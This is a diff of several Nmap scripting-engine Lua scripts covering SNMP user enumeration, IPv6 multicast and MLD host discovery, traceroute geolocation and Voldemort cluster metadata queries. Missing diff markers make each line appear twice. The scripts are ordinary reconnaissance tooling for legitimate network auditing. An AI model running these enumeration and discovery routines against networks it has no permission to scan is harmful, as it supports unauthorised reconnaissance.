local data, oldsnmpoid = nil, "1.3.6.1.4.1.2011.10.2.12.1.1.1"
local data, newsnmpoid = nil, "1.3.6.1.4.1.25506.2.12.1.1.1"
local users = {}
local status
socket:set_timeout(5000)
try(socket:connect(host, port))
socket:set_timeout(5000)
try(socket:connect(host, port))
status, users = snmp.snmpWalk( socket, oldsnmpoid )
socket:close()
status, users = snmp.snmpWalk( socket, oldsnmpoid )
socket:close()
if (not(status)) or ( users == nil ) or ( #users == 0 ) then
if (not(status)) or ( users == nil ) or ( #users == 0 ) then
-- no status? try new snmp oid
socket:set_timeout(5000)
try(socket:connect(host, port))
status, users = snmp.snmpWalk( socket, newsnmpoid )
socket:close()
-- no status? try new snmp oid
socket:set_timeout(5000)
try(socket:connect(host, port))
status, users = snmp.snmpWalk( socket, newsnmpoid )
socket:close()
if (not(status)) or ( users == nil ) or ( #users == 0 ) then
return users
end
if (not(status)) or ( users == nil ) or ( #users == 0 ) then
return users
end
end
end
nmap.set_port_state(host, port, "open")
return process_answer(users)
nmap.set_port_state(host, port, "open")
return process_answer(users)
end

View File

@@ -32,139 +32,139 @@ categories = {"discovery","broadcast"}
prerule = function()
return nmap.is_privileged()
return nmap.is_privileged()
end
local function get_interfaces()
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
or nmap.get_interface()
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
or nmap.get_interface()
-- interfaces list (decide which interfaces to broadcast on)
local interfaces = {}
if interface_name then
-- single interface defined
local if_table = nmap.get_interface_info(interface_name)
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
interfaces[#interfaces + 1] = if_table
else
stdnse.print_debug("Interface not supported or not properly configured.")
end
else
for _, if_table in ipairs(nmap.list_interfaces()) do
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
table.insert(interfaces, if_table)
end
end
end
-- interfaces list (decide which interfaces to broadcast on)
local interfaces = {}
if interface_name then
-- single interface defined
local if_table = nmap.get_interface_info(interface_name)
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
interfaces[#interfaces + 1] = if_table
else
stdnse.print_debug("Interface not supported or not properly configured.")
end
else
for _, if_table in ipairs(nmap.list_interfaces()) do
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
table.insert(interfaces, if_table)
end
end
end
return interfaces
return interfaces
end
local function single_interface_broadcast(if_nfo, results)
stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
local condvar = nmap.condvar(results)
local src_mac = if_nfo.mac
local src_ip6 = packet.ip6tobin(if_nfo.address)
local dst_mac = packet.mactobin("33:33:00:00:00:01")
local dst_ip6 = packet.ip6tobin("ff02::1")
local condvar = nmap.condvar(results)
local src_mac = if_nfo.mac
local src_ip6 = packet.ip6tobin(if_nfo.address)
local dst_mac = packet.mactobin("33:33:00:00:00:01")
local dst_ip6 = packet.ip6tobin("ff02::1")
----------------------------------------------------------------------------
--Multicast echo ping probe
----------------------------------------------------------------------------
--Multicast echo ping probe
local dnet = nmap.new_dnet()
local pcap = nmap.new_socket()
local dnet = nmap.new_dnet()
local pcap = nmap.new_socket()
local function catch ()
dnet:ethernet_close()
pcap:pcap_close()
local function catch ()
dnet:ethernet_close()
pcap:pcap_close()
end
local try = nmap.new_try(catch)
try(dnet:ethernet_open(if_nfo.device))
pcap:pcap_open(if_nfo.device, 128, false, "icmp6 and ip6[6:1] = 58 and ip6[40:1] = 129")
local probe = packet.Frame:new()
probe.mac_src = src_mac
probe.mac_dst = dst_mac
probe.ip_bin_src = src_ip6
probe.ip_bin_dst = dst_ip6
probe.echo_id = 5
probe.echo_seq = 6
probe.echo_data = "Nmap host discovery."
probe:build_icmpv6_echo_request()
probe:build_icmpv6_header()
probe:build_ipv6_packet()
probe:build_ether_frame()
try(dnet:ethernet_send(probe.frame_buf))
pcap:set_timeout(1000)
local pcap_timeout_count = 0
local nse_timeout = 5
local start_time = nmap:clock()
local cur_time = nmap:clock()
repeat
local status, length, layer2, layer3 = pcap:pcap_receive()
cur_time = nmap:clock()
if not status then
pcap_timeout_count = pcap_timeout_count + 1
else
local reply = packet.Frame:new(layer2..layer3)
if reply.mac_dst == src_mac then
local target_str = reply.ip_src
if not results[target_str] then
if target.ALLOW_NEW_TARGETS then
target.add(target_str)
end
results[#results + 1] = { address = target_str, mac = stdnse.format_mac(reply.mac_src), iface = if_nfo.device }
results[target_str] = true
end
end
end
local try = nmap.new_try(catch)
until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
try(dnet:ethernet_open(if_nfo.device))
pcap:pcap_open(if_nfo.device, 128, false, "icmp6 and ip6[6:1] = 58 and ip6[40:1] = 129")
dnet:ethernet_close()
pcap:pcap_close()
local probe = packet.Frame:new()
probe.mac_src = src_mac
probe.mac_dst = dst_mac
probe.ip_bin_src = src_ip6
probe.ip_bin_dst = dst_ip6
probe.echo_id = 5
probe.echo_seq = 6
probe.echo_data = "Nmap host discovery."
probe:build_icmpv6_echo_request()
probe:build_icmpv6_header()
probe:build_ipv6_packet()
probe:build_ether_frame()
try(dnet:ethernet_send(probe.frame_buf))
pcap:set_timeout(1000)
local pcap_timeout_count = 0
local nse_timeout = 5
local start_time = nmap:clock()
local cur_time = nmap:clock()
repeat
local status, length, layer2, layer3 = pcap:pcap_receive()
cur_time = nmap:clock()
if not status then
pcap_timeout_count = pcap_timeout_count + 1
else
local reply = packet.Frame:new(layer2..layer3)
if reply.mac_dst == src_mac then
local target_str = reply.ip_src
if not results[target_str] then
if target.ALLOW_NEW_TARGETS then
target.add(target_str)
end
results[#results + 1] = { address = target_str, mac = stdnse.format_mac(reply.mac_src), iface = if_nfo.device }
results[target_str] = true
end
end
end
until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
dnet:ethernet_close()
pcap:pcap_close()
condvar("signal")
condvar("signal")
end
local function format_output(results)
local output = tab.new()
local output = tab.new()
for _, record in ipairs(results) do
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
end
if #results > 0 then
output = { tab.dump(output) }
if not target.ALLOW_NEW_TARGETS then
output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
end
return stdnse.format_output(true, output)
end
for _, record in ipairs(results) do
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
end
if #results > 0 then
output = { tab.dump(output) }
if not target.ALLOW_NEW_TARGETS then
output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
end
return stdnse.format_output(true, output)
end
end
action = function()
local threads = {}
local results = {}
local condvar = nmap.condvar(results)
local threads = {}
local results = {}
local condvar = nmap.condvar(results)
for _, if_nfo in ipairs(get_interfaces()) do
-- create a thread for each interface
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
threads[co] = true
end
for _, if_nfo in ipairs(get_interfaces()) do
-- create a thread for each interface
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
threads[co] = true
end
repeat
for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then threads[thread] = nil end
end
if ( next(threads) ) then
condvar "wait"
end
until next(threads) == nil
repeat
for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then threads[thread] = nil end
end
if ( next(threads) ) then
condvar "wait"
end
until next(threads) == nil
return format_output(results)
return format_output(results)
end

View File

@@ -35,146 +35,146 @@ categories = {"discovery","broadcast"}
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. '.timeout'))
prerule = function()
if ( not(nmap.is_privileged()) ) then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false
end
return true
if ( not(nmap.is_privileged()) ) then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false
end
return true
end
local function get_interfaces()
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
or nmap.get_interface()
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
or nmap.get_interface()
-- interfaces list (decide which interfaces to broadcast on)
local interfaces = {}
if interface_name then
-- single interface defined
local if_table = nmap.get_interface_info(interface_name)
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
interfaces[#interfaces + 1] = if_table
else
stdnse.print_debug("Interface not supported or not properly configured.")
end
else
for _, if_table in ipairs(nmap.list_interfaces()) do
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
table.insert(interfaces, if_table)
end
end
end
-- interfaces list (decide which interfaces to broadcast on)
local interfaces = {}
if interface_name then
-- single interface defined
local if_table = nmap.get_interface_info(interface_name)
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
interfaces[#interfaces + 1] = if_table
else
stdnse.print_debug("Interface not supported or not properly configured.")
end
else
for _, if_table in ipairs(nmap.list_interfaces()) do
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
table.insert(interfaces, if_table)
end
end
end
return interfaces
return interfaces
end
local function single_interface_broadcast(if_nfo, results)
stdnse.print_debug(2, "Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
local condvar = nmap.condvar(results)
local src_mac = if_nfo.mac
local src_ip6 = packet.ip6tobin(if_nfo.address)
local dst_mac = packet.mactobin("33:33:00:00:00:01")
local dst_ip6 = packet.ip6tobin("ff02::1")
local gen_qry = packet.ip6tobin("::")
stdnse.print_debug(2, "Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
local condvar = nmap.condvar(results)
local src_mac = if_nfo.mac
local src_ip6 = packet.ip6tobin(if_nfo.address)
local dst_mac = packet.mactobin("33:33:00:00:00:01")
local dst_ip6 = packet.ip6tobin("ff02::1")
local gen_qry = packet.ip6tobin("::")
local dnet = nmap.new_dnet()
local pcap = nmap.new_socket()
local dnet = nmap.new_dnet()
local pcap = nmap.new_socket()
dnet:ethernet_open(if_nfo.device)
pcap:pcap_open(if_nfo.device, 1500, false, "ip6[40:1] == 58")
dnet:ethernet_open(if_nfo.device)
pcap:pcap_open(if_nfo.device, 1500, false, "ip6[40:1] == 58")
local probe = packet.Frame:new()
probe.mac_src = src_mac
probe.mac_dst = dst_mac
probe.ip_bin_src = src_ip6
probe.ip_bin_dst = dst_ip6
local probe = packet.Frame:new()
probe.mac_src = src_mac
probe.mac_dst = dst_mac
probe.ip_bin_src = src_ip6
probe.ip_bin_dst = dst_ip6
probe.ip6_tc = 0
probe.ip6_fl = 0
probe.ip6_hlimit = 1
probe.ip6_tc = 0
probe.ip6_fl = 0
probe.ip6_hlimit = 1
probe.icmpv6_type = packet.MLD_LISTENER_QUERY
probe.icmpv6_code = 0
probe.icmpv6_type = packet.MLD_LISTENER_QUERY
probe.icmpv6_code = 0
-- Add a non-empty payload too.
probe.icmpv6_payload = bin.pack("HA", "00 00 00 00", gen_qry)
probe:build_icmpv6_header()
probe.exheader = bin.pack("CH", packet.IPPROTO_ICMPV6, "00 05 02 00 00 01 00")
probe.ip6_nhdr = packet.IPPROTO_HOPOPTS
-- Add a non-empty payload too.
probe.icmpv6_payload = bin.pack("HA", "00 00 00 00", gen_qry)
probe:build_icmpv6_header()
probe.exheader = bin.pack("CH", packet.IPPROTO_ICMPV6, "00 05 02 00 00 01 00")
probe.ip6_nhdr = packet.IPPROTO_HOPOPTS
probe:build_ipv6_packet()
probe:build_ether_frame()
probe:build_ipv6_packet()
probe:build_ether_frame()
dnet:ethernet_send(probe.frame_buf)
dnet:ethernet_send(probe.frame_buf)
pcap:set_timeout(1000)
local pcap_timeout_count = 0
local nse_timeout = arg_timeout or 10
local start_time = nmap:clock()
local addrs = {}
pcap:set_timeout(1000)
local pcap_timeout_count = 0
local nse_timeout = arg_timeout or 10
local start_time = nmap:clock()
local addrs = {}
repeat
local status, length, layer2, layer3 = pcap:pcap_receive()
local cur_time = nmap:clock()
if ( status ) then
local l2reply = packet.Frame:new(layer2)
local reply = packet.Packet:new(layer3, length, true)
if ( reply.ip6_nhdr == packet.MLD_LISTENER_REPORT or
reply.ip6_nhdr == packet.MLDV2_LISTENER_REPORT ) then
local target_str = reply.ip_src
if not results[target_str] then
if target.ALLOW_NEW_TARGETS then
target.add(target_str)
end
results[target_str] = { address = target_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
end
end
end
until ( cur_time - start_time >= nse_timeout )
repeat
local status, length, layer2, layer3 = pcap:pcap_receive()
local cur_time = nmap:clock()
if ( status ) then
local l2reply = packet.Frame:new(layer2)
local reply = packet.Packet:new(layer3, length, true)
if ( reply.ip6_nhdr == packet.MLD_LISTENER_REPORT or
reply.ip6_nhdr == packet.MLDV2_LISTENER_REPORT ) then
local target_str = reply.ip_src
if not results[target_str] then
if target.ALLOW_NEW_TARGETS then
target.add(target_str)
end
results[target_str] = { address = target_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
end
end
end
until ( cur_time - start_time >= nse_timeout )
dnet:ethernet_close()
pcap:pcap_close()
dnet:ethernet_close()
pcap:pcap_close()
condvar("signal")
condvar("signal")
end
local function format_output(results)
local output = tab.new()
local output = tab.new()
for _, record in pairs(results) do
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
end
for _, record in pairs(results) do
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
end
if ( #output > 0 ) then
output = { tab.dump(output) }
if not target.ALLOW_NEW_TARGETS then
table.insert(output, "")
table.insert(output, "Use --script-args=newtargets to add the results as targets")
end
return stdnse.format_output(true, output)
end
if ( #output > 0 ) then
output = { tab.dump(output) }
if not target.ALLOW_NEW_TARGETS then
table.insert(output, "")
table.insert(output, "Use --script-args=newtargets to add the results as targets")
end
return stdnse.format_output(true, output)
end
end
action = function()
local threads = {}
local results = {}
local condvar = nmap.condvar(results)
local threads = {}
local results = {}
local condvar = nmap.condvar(results)
for _, if_nfo in ipairs(get_interfaces()) do
-- create a thread for each interface
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
threads[co] = true
end
for _, if_nfo in ipairs(get_interfaces()) do
-- create a thread for each interface
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
threads[co] = true
end
repeat
for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then threads[thread] = nil end
end
if ( next(threads) ) then
condvar "wait"
end
until next(threads) == nil
repeat
for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then threads[thread] = nil end
end
if ( next(threads) ) then
condvar "wait"
end
until next(threads) == nil
return format_output(results)
return format_output(results)
end

View File

@@ -71,42 +71,42 @@ categories = {"safe", "external", "discovery"}
local arg_kmlfile = stdnse.get_script_args(SCRIPT_NAME .. ".kmlfile")
hostrule = function(host)
if ( not(host.traceroute) ) then
return false
end
return true
if ( not(host.traceroute) ) then
return false
end
return true
end
--
-- GeoPlugin requires no API key and has no limitations on lookups
--
local function geoLookup(ip)
local response = http.get("www.geoplugin.net", 80, "/json.gp?ip="..ip)
local stat, loc = json.parse(response.body)
local response = http.get("www.geoplugin.net", 80, "/json.gp?ip="..ip)
local stat, loc = json.parse(response.body)
if not stat then return nil end
local output = {}
local regionName = (loc.geoplugin_regionName == json.NULL) and "Unknown" or loc.geoplugin_regionName
return loc.geoplugin_latitude, loc.geoplugin_longitude, regionName, loc.geoplugin_countryName
if not stat then return nil end
local output = {}
local regionName = (loc.geoplugin_regionName == json.NULL) and "Unknown" or loc.geoplugin_regionName
return loc.geoplugin_latitude, loc.geoplugin_longitude, regionName, loc.geoplugin_countryName
end
local function createKMLFile(filename, coords)
local header = '<?xml version="1.0" encoding="UTF-8"?><kml xmlns="http://earth.google.com/kml/2.0"><Document><Placemark><LineString><coordinates>\r\n'
local footer = '</coordinates></LineString><Style><LineStyle><color>#ff0000ff</color></LineStyle></Style></Placemark></Document></kml>'
local header = '<?xml version="1.0" encoding="UTF-8"?><kml xmlns="http://earth.google.com/kml/2.0"><Document><Placemark><LineString><coordinates>\r\n'
local footer = '</coordinates></LineString><Style><LineStyle><color>#ff0000ff</color></LineStyle></Style></Placemark></Document></kml>'
local output = ""
for _, coord in ipairs(coords) do
output = output .. ("%s,%s, 0.\r\n"):format(coord.lon, coord.lat)
end
local output = ""
for _, coord in ipairs(coords) do
output = output .. ("%s,%s, 0.\r\n"):format(coord.lon, coord.lat)
end
local f = io.open(filename, "w")
if ( not(f) ) then
return false, "Failed to create KML file"
end
f:write(header .. output .. footer)
f:close()
local f = io.open(filename, "w")
if ( not(f) ) then
return false, "Failed to create KML file"
end
f:write(header .. output .. footer)
f:close()
return true
return true
end
-- Tables used to accumulate output.
@@ -115,53 +115,53 @@ local output = tab.new(4)
local coordinates = {}
local function output_hop(count, ip, name, rtt, lat, lon, ctry, reg)
if ip then
local label
if name then
label = ("%s (%s)"):format(name or "", ip)
else
label = ("%s"):format(ip)
end
if lat then
table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt), lat = lat, lon = lon })
tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%d,%d %s (%s)"):format(lat, lon, ctry, reg))
table.insert(coordinates, { hop = count, lat = lat, lon = lon })
else
table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt) })
tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%s,%s"):format("- ", "- "))
end
else
table.insert(output_structured, { hop = count })
tab.addrow(output, count, "...")
end
if ip then
local label
if name then
label = ("%s (%s)"):format(name or "", ip)
else
label = ("%s"):format(ip)
end
if lat then
table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt), lat = lat, lon = lon })
tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%d,%d %s (%s)"):format(lat, lon, ctry, reg))
table.insert(coordinates, { hop = count, lat = lat, lon = lon })
else
table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt) })
tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%s,%s"):format("- ", "- "))
end
else
table.insert(output_structured, { hop = count })
tab.addrow(output, count, "...")
end
end
action = function(host)
tab.addrow(output, "HOP", "RTT", "ADDRESS", "GEOLOCATION")
for count = 1, #host.traceroute do
local hop = host.traceroute[count]
-- avoid timedout hops, marked as empty entries
-- do not add the current scanned host.ip
if hop.ip then
local rtt = tonumber(hop.times.srtt) * 1000
if ( not(ipOps.isPrivate(hop.ip) ) ) then
local lat, lon, reg, ctry = geoLookup(hop.ip)
output_hop(count, hop.ip, hop.name, rtt, lat, lon, ctry, reg)
else
output_hop(count, hop.ip, hop.name, rtt)
end
else
output_hop(count)
end
end
tab.addrow(output, "HOP", "RTT", "ADDRESS", "GEOLOCATION")
for count = 1, #host.traceroute do
local hop = host.traceroute[count]
-- avoid timedout hops, marked as empty entries
-- do not add the current scanned host.ip
if hop.ip then
local rtt = tonumber(hop.times.srtt) * 1000
if ( not(ipOps.isPrivate(hop.ip) ) ) then
local lat, lon, reg, ctry = geoLookup(hop.ip)
output_hop(count, hop.ip, hop.name, rtt, lat, lon, ctry, reg)
else
output_hop(count, hop.ip, hop.name, rtt)
end
else
output_hop(count)
end
end
if (#output_structured > 0) then
output = tab.dump(output)
if ( arg_kmlfile ) then
if ( not(createKMLFile(arg_kmlfile, coordinates)) ) then
output = output .. ("\n\nERROR: Failed to write KML to file: %s"):format(arg_kmlfile)
end
end
return output_structured, stdnse.format_output(true, output)
end
if (#output_structured > 0) then
output = tab.dump(output)
if ( arg_kmlfile ) then
if ( not(createKMLFile(arg_kmlfile, coordinates)) ) then
output = output .. ("\n\nERROR: Failed to write KML to file: %s"):format(arg_kmlfile)
end
end
return output_structured, stdnse.format_output(true, output)
end
end

View File

@@ -52,27 +52,27 @@ local function fail(err) return ("\n ERROR: %s"):format(err or "") end
-- @return status true on success, false on failure
-- @return socket connected to the server
local function connect(host, port)
local socket = nmap.new_socket()
socket:set_timeout(5000)
local socket = nmap.new_socket()
socket:set_timeout(5000)
local status, err = socket:connect(host, port)
if ( not(status) ) then
return false, "Failed to connect to server"
end
local status, err = socket:connect(host, port)
if ( not(status) ) then
return false, "Failed to connect to server"
end
status, err = socket:send("vp3")
if ( not(status) ) then
return false, "Failed to send request to server"
end
status, err = socket:send("vp3")
if ( not(status) ) then
return false, "Failed to send request to server"
end
local response
status, response = socket:receive(2)
if ( not(status) ) then
return false, "Failed to receive response from server"
elseif( response ~= "ok" ) then
return false, "Unsupported protocol"
end
return true, socket
local response
status, response = socket:receive(2)
if ( not(status) ) then
return false, "Failed to receive response from server"
elseif( response ~= "ok" ) then
return false, "Unsupported protocol"
end
return true, socket
end
-- Get Voldemort metadata
@@ -82,92 +82,92 @@ end
-- @return data string as received from the server
local function getMetadata(socket, file)
local req = bin.pack(">HCzIcz", "0100", #("metadata"), "metadata", 0, #file, file)
local status, err = socket:send(req)
if ( not(status) ) then
return false, "Failed to send request to server"
end
local status, data = socket:receive(8)
if ( not(status) ) then
return false, "Failed to receive response from server"
end
local _, len = bin.unpack(">S", data, 9)
while( #data < len - 2 ) do
local status, tmp = socket:receive(len - 2 - #data)
if ( not(status) ) then
return false, "Failed to receive response from server"
end
data = data .. tmp
end
return true, data
local req = bin.pack(">HCzIcz", "0100", #("metadata"), "metadata", 0, #file, file)
local status, err = socket:send(req)
if ( not(status) ) then
return false, "Failed to send request to server"
end
local status, data = socket:receive(8)
if ( not(status) ) then
return false, "Failed to receive response from server"
end
local _, len = bin.unpack(">S", data, 9)
while( #data < len - 2 ) do
local status, tmp = socket:receive(len - 2 - #data)
if ( not(status) ) then
return false, "Failed to receive response from server"
end
data = data .. tmp
end
return true, data
end
action = function(host, port)
-- table of variables to query the server
local vars = {
["cluster"] = {
{ key = "Name", match = "<cluster>.-<name>(.-)</name>" },
{ key = "Id", match = "<cluster>.-<server>.-<id>(%d-)</id>.-</server>" },
{ key = "Host", match = "<cluster>.-<server>.-<host>(%w-)</host>.-</server>" },
{ key = "HTTP Port", match = "<cluster>.-<server>.-<http%-port>(%d-)</http%-port>.-</server>" },
{ key = "TCP Port", match = "<cluster>.-<server>.-<socket%-port>(%d-)</socket%-port>.-</server>" },
{ key = "Admin Port", match = "<cluster>.-<server>.-<admin%-port>(%d-)</admin%-port>.-</server>" },
{ key = "Partitions", match = "<cluster>.-<server>.-<partitions>([%d%s,]*)</partitions>.-</server>" },
},
["store"] = {
{ key = "Persistence", match = "<store>.-<persistence>(.-)</persistence>" },
{ key = "Description", match = "<store>.-<description>(.-)</description>" },
{ key = "Owners", match = "<store>.-<owners>(.-)</owners>" },
{ key = "Routing strategy", match = "<store>.-<routing%-strategy>(.-)</routing%-strategy>" },
{ key = "Routing", match = "<store>.-<routing>(.-)</routing>" },
},
}
-- table of variables to query the server
local vars = {
["cluster"] = {
{ key = "Name", match = "<cluster>.-<name>(.-)</name>" },
{ key = "Id", match = "<cluster>.-<server>.-<id>(%d-)</id>.-</server>" },
{ key = "Host", match = "<cluster>.-<server>.-<host>(%w-)</host>.-</server>" },
{ key = "HTTP Port", match = "<cluster>.-<server>.-<http%-port>(%d-)</http%-port>.-</server>" },
{ key = "TCP Port", match = "<cluster>.-<server>.-<socket%-port>(%d-)</socket%-port>.-</server>" },
{ key = "Admin Port", match = "<cluster>.-<server>.-<admin%-port>(%d-)</admin%-port>.-</server>" },
{ key = "Partitions", match = "<cluster>.-<server>.-<partitions>([%d%s,]*)</partitions>.-</server>" },
},
["store"] = {
{ key = "Persistence", match = "<store>.-<persistence>(.-)</persistence>" },
{ key = "Description", match = "<store>.-<description>(.-)</description>" },
{ key = "Owners", match = "<store>.-<owners>(.-)</owners>" },
{ key = "Routing strategy", match = "<store>.-<routing%-strategy>(.-)</routing%-strategy>" },
{ key = "Routing", match = "<store>.-<routing>(.-)</routing>" },
},
}
-- connect to the server
local status, socket = connect(host, port)
if ( not(status) ) then
return fail(socket)
end
-- connect to the server
local status, socket = connect(host, port)
if ( not(status) ) then
return fail(socket)
end
-- get the cluster meta data
local status, response = getMetadata(socket, "cluster.xml")
if ( not(status) or not(response:match("<cluster>.*</cluster>")) ) then
return
end
-- get the cluster meta data
local status, response = getMetadata(socket, "cluster.xml")
if ( not(status) or not(response:match("<cluster>.*</cluster>")) ) then
return
end
-- Get the cluster details
local cluster_tbl = { name = "Cluster" }
for _, item in ipairs(vars["cluster"]) do
local val = response:match(item.match)
if ( val ) then
table.insert(cluster_tbl, ("%s: %s"):format(item.key, val))
end
end
-- Get the cluster details
local cluster_tbl = { name = "Cluster" }
for _, item in ipairs(vars["cluster"]) do
local val = response:match(item.match)
if ( val ) then
table.insert(cluster_tbl, ("%s: %s"):format(item.key, val))
end
end
-- get the stores meta data
local status, response = getMetadata(socket, "stores.xml")
if ( not(status) or not(response:match("<stores>.-</stores>")) ) then
return
end
-- get the stores meta data
local status, response = getMetadata(socket, "stores.xml")
if ( not(status) or not(response:match("<stores>.-</stores>")) ) then
return
end
local result, stores = {}, { name = "Stores" }
table.insert(result, cluster_tbl)
local result, stores = {}, { name = "Stores" }
table.insert(result, cluster_tbl)
-- iterate over store items
for store in response:gmatch("<store>.-</store>") do
local name = store:match("<store>.-<name>(.-)</name>")
local store_tbl = { name = name or "unknown" }
-- iterate over store items
for store in response:gmatch("<store>.-</store>") do
local name = store:match("<store>.-<name>(.-)</name>")
local store_tbl = { name = name or "unknown" }
for _, item in ipairs(vars["store"]) do
local val = store:match(item.match)
if ( val ) then
table.insert(store_tbl, ("%s: %s"):format(item.key, val))
end
end
table.insert(stores, store_tbl)
end
table.insert(result, stores)
return stdnse.format_output(true, result)
for _, item in ipairs(vars["store"]) do
local val = store:match(item.match)
if ( val ) then
table.insert(store_tbl, ("%s: %s"):format(item.key, val))
end
end
table.insert(stores, store_tbl)
end
table.insert(result, stores)
return stdnse.format_output(true, result)
end